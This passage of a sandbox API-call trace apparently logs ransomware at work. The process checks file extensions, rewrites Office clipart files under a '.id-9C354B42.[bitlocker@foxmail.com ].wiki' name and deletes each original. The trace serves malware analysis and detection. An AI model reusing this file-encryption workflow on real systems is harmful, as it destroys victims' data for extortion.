[0189.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0189.837] lstrlenW (lpString=".zip") returned 4 [0189.837] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.837] lstrlenW (lpString=".rar") returned 4 [0189.837] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.837] lstrlenW (lpString=".bz2") returned 4 [0189.837] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.837] lstrlenW (lpString=".7z") returned 3 [0189.837] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0189.838] lstrlenW (lpString=".dbf") returned 4 [0189.838] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0189.838] lstrlenW (lpString=".1cd") returned 4 [0189.838] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0189.838] lstrlenW (lpString=".jpg") returned 4 [0189.838] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0189.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0189.838] lstrlenW (lpString=".doc") returned 4 [0189.838] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.838] lstrlenW (lpString=".docx") returned 5 [0189.838] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.838] lstrlenW (lpString=".pdf") returned 4 [0189.838] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.838] lstrlenW (lpString=".xls") returned 4 [0189.838] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.838] lstrlenW (lpString=".xlsx") returned 5 [0189.838] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.838] lstrlenW (lpString=".ppt") returned 4 [0189.838] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0189.838] lstrlenW (lpString=".zip") returned 4 [0189.838] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.838] lstrlenW (lpString=".rar") returned 4 [0189.838] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.838] lstrlenW (lpString=".bz2") returned 4 [0189.838] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.838] lstrlenW (lpString=".7z") returned 3 [0189.838] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0189.839] lstrlenW (lpString=".dbf") returned 4 [0189.839] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0189.839] lstrlenW (lpString=".1cd") returned 4 [0189.839] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0189.839] lstrlenW (lpString=".jpg") returned 4 [0189.839] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.839] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.839] lstrlenW (lpString="HH01080_.WMF") returned 12 [0189.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0189.839] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=5000) returned 1 [0189.839] CloseHandle (hObject=0x1f4) returned 1 [0189.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf")) returned 0x20 [0189.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0189.840] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.840] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0189.841] GetLastError () returned 0x0 [0189.841] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x1388, lpOverlapped=0x0) returned 1 [0189.843] WriteFile (in: hFile=0x1e4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x1390, lpOverlapped=0x0) returned 1 [0189.844] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0189.844] WriteFile (in: hFile=0x1e4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.844] SetEndOfFile (hFile=0x1e4) returned 1 [0189.844] CloseHandle (hObject=0x1e4) returned 1 [0189.844] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.844] SetEndOfFile (hFile=0x1f4) returned 1 [0189.845] CloseHandle (hObject=0x1f4) returned 1 [0189.845] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.845] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf")) returned 1 [0189.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0189.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0189.845] lstrlenW (lpString=".doc") returned 4 [0189.845] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.845] lstrlenW (lpString=".docx") returned 5 [0189.845] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.845] lstrlenW (lpString=".pdf") returned 4 [0189.845] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.845] lstrlenW (lpString=".xls") returned 4 [0189.846] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.846] lstrlenW (lpString=".xlsx") returned 5 [0189.846] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.846] lstrlenW (lpString=".ppt") returned 4 [0189.846] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0189.846] lstrlenW (lpString=".zip") returned 4 [0189.846] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.846] lstrlenW (lpString=".rar") returned 4 [0189.846] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.846] lstrlenW (lpString=".bz2") returned 4 [0189.846] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.846] lstrlenW (lpString=".7z") returned 3 [0189.846] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0189.846] lstrlenW (lpString=".dbf") returned 4 [0189.846] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0189.846] lstrlenW (lpString=".1cd") returned 4 [0189.846] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0189.846] lstrlenW (lpString=".jpg") returned 4 [0189.846] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0189.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0189.846] lstrlenW (lpString=".doc") returned 4 [0189.846] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.846] lstrlenW (lpString=".docx") returned 5 [0189.846] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.846] lstrlenW (lpString=".pdf") returned 4 [0189.846] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.846] lstrlenW (lpString=".xls") returned 4 [0189.847] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.847] lstrlenW (lpString=".xlsx") returned 5 [0189.847] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.847] lstrlenW (lpString=".ppt") returned 4 [0189.847] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0189.847] lstrlenW (lpString=".zip") returned 4 [0189.847] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.847] lstrlenW (lpString=".rar") returned 4 [0189.847] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.847] lstrlenW (lpString=".bz2") returned 4 [0189.847] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.847] lstrlenW (lpString=".7z") returned 3 [0189.847] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0189.847] lstrlenW (lpString=".dbf") returned 4 [0189.847] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0189.847] lstrlenW (lpString=".1cd") returned 4 [0189.847] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0189.847] lstrlenW (lpString=".jpg") returned 4 [0189.847] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.848] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.848] lstrlenW (lpString="HH01242_.WMF") returned 12 [0189.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0189.848] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=7340) returned 1 [0189.848] CloseHandle (hObject=0x1f4) returned 1 [0189.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf")) returned 0x20 [0189.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0189.848] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.848] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0189.849] GetLastError () returned 0x0 [0189.849] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x1cac, lpOverlapped=0x0) returned 1 [0189.850] WriteFile (in: hFile=0x1e4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x1cb0, lpOverlapped=0x0) returned 1 [0189.851] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0189.851] WriteFile (in: hFile=0x1e4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.851] SetEndOfFile (hFile=0x1e4) returned 1 [0189.852] CloseHandle (hObject=0x1e4) returned 1 [0189.852] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.852] SetEndOfFile (hFile=0x1f4) returned 1 [0189.852] CloseHandle (hObject=0x1f4) returned 1 [0190.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.181] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf")) returned 1 [0190.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0190.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0190.182] lstrlenW (lpString=".doc") returned 4 [0190.182] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.182] lstrlenW (lpString=".docx") returned 5 [0190.182] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.182] lstrlenW (lpString=".pdf") returned 4 [0190.182] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.182] lstrlenW (lpString=".xls") returned 4 [0190.182] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.182] lstrlenW (lpString=".xlsx") returned 5 [0190.182] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.182] lstrlenW (lpString=".ppt") returned 4 [0190.182] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0190.182] lstrlenW (lpString=".zip") returned 4 [0190.182] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.182] lstrlenW (lpString=".rar") returned 4 [0190.182] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.182] lstrlenW (lpString=".bz2") returned 4 [0190.182] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.182] lstrlenW (lpString=".7z") returned 3 [0190.182] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0190.182] lstrlenW (lpString=".dbf") returned 4 [0190.182] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0190.182] lstrlenW (lpString=".1cd") returned 4 [0190.182] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0190.183] lstrlenW (lpString=".jpg") returned 4 [0190.183] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0190.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0190.183] lstrlenW (lpString=".doc") returned 4 [0190.183] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.183] lstrlenW (lpString=".docx") returned 5 [0190.183] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.183] lstrlenW (lpString=".pdf") returned 4 [0190.183] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.183] lstrlenW (lpString=".xls") returned 4 [0190.183] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.183] lstrlenW (lpString=".xlsx") returned 5 [0190.183] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.183] lstrlenW (lpString=".ppt") returned 4 [0190.183] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0190.183] lstrlenW (lpString=".zip") returned 4 [0190.183] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.183] lstrlenW (lpString=".rar") returned 4 [0190.183] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.183] lstrlenW (lpString=".bz2") returned 4 [0190.183] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.183] lstrlenW (lpString=".7z") returned 3 [0190.183] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0190.183] lstrlenW (lpString=".dbf") returned 4 [0190.183] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0190.183] lstrlenW (lpString=".1cd") returned 4 [0190.183] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0190.184] lstrlenW (lpString=".jpg") returned 4 [0190.184] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.184] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0190.184] lstrlenW (lpString="IN00046_.WMF") returned 12 [0190.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0190.184] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1158) returned 1 [0190.184] CloseHandle (hObject=0x1f4) returned 1 [0190.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf")) returned 0x20 [0190.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0190.185] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.185] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0190.185] GetLastError () returned 0x0 [0190.185] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x486, lpOverlapped=0x0) returned 1 [0190.187] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x490, lpOverlapped=0x0) returned 1 [0190.188] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0190.188] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.188] SetEndOfFile (hFile=0x1dc) returned 1 [0190.188] CloseHandle (hObject=0x1dc) returned 1 [0190.188] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.188] SetEndOfFile (hFile=0x1f4) returned 1 [0190.189] CloseHandle (hObject=0x1f4) returned 1 [0190.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.189] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf")) returned 1 [0190.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0190.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0190.189] lstrlenW (lpString=".doc") returned 4 [0190.189] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.189] lstrlenW (lpString=".docx") returned 5 [0190.189] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.189] lstrlenW (lpString=".pdf") returned 4 [0190.189] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.189] lstrlenW (lpString=".xls") returned 4 [0190.190] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.190] lstrlenW (lpString=".xlsx") returned 5 [0190.190] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.190] lstrlenW (lpString=".ppt") returned 4 [0190.190] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0190.190] lstrlenW (lpString=".zip") returned 4 [0190.190] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.190] lstrlenW (lpString=".rar") returned 4 [0190.190] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.190] lstrlenW (lpString=".bz2") returned 4 [0190.190] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.190] lstrlenW (lpString=".7z") returned 3 [0190.190] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.190] lstrlenW (lpString="C:\\Program Files\\Microsoft 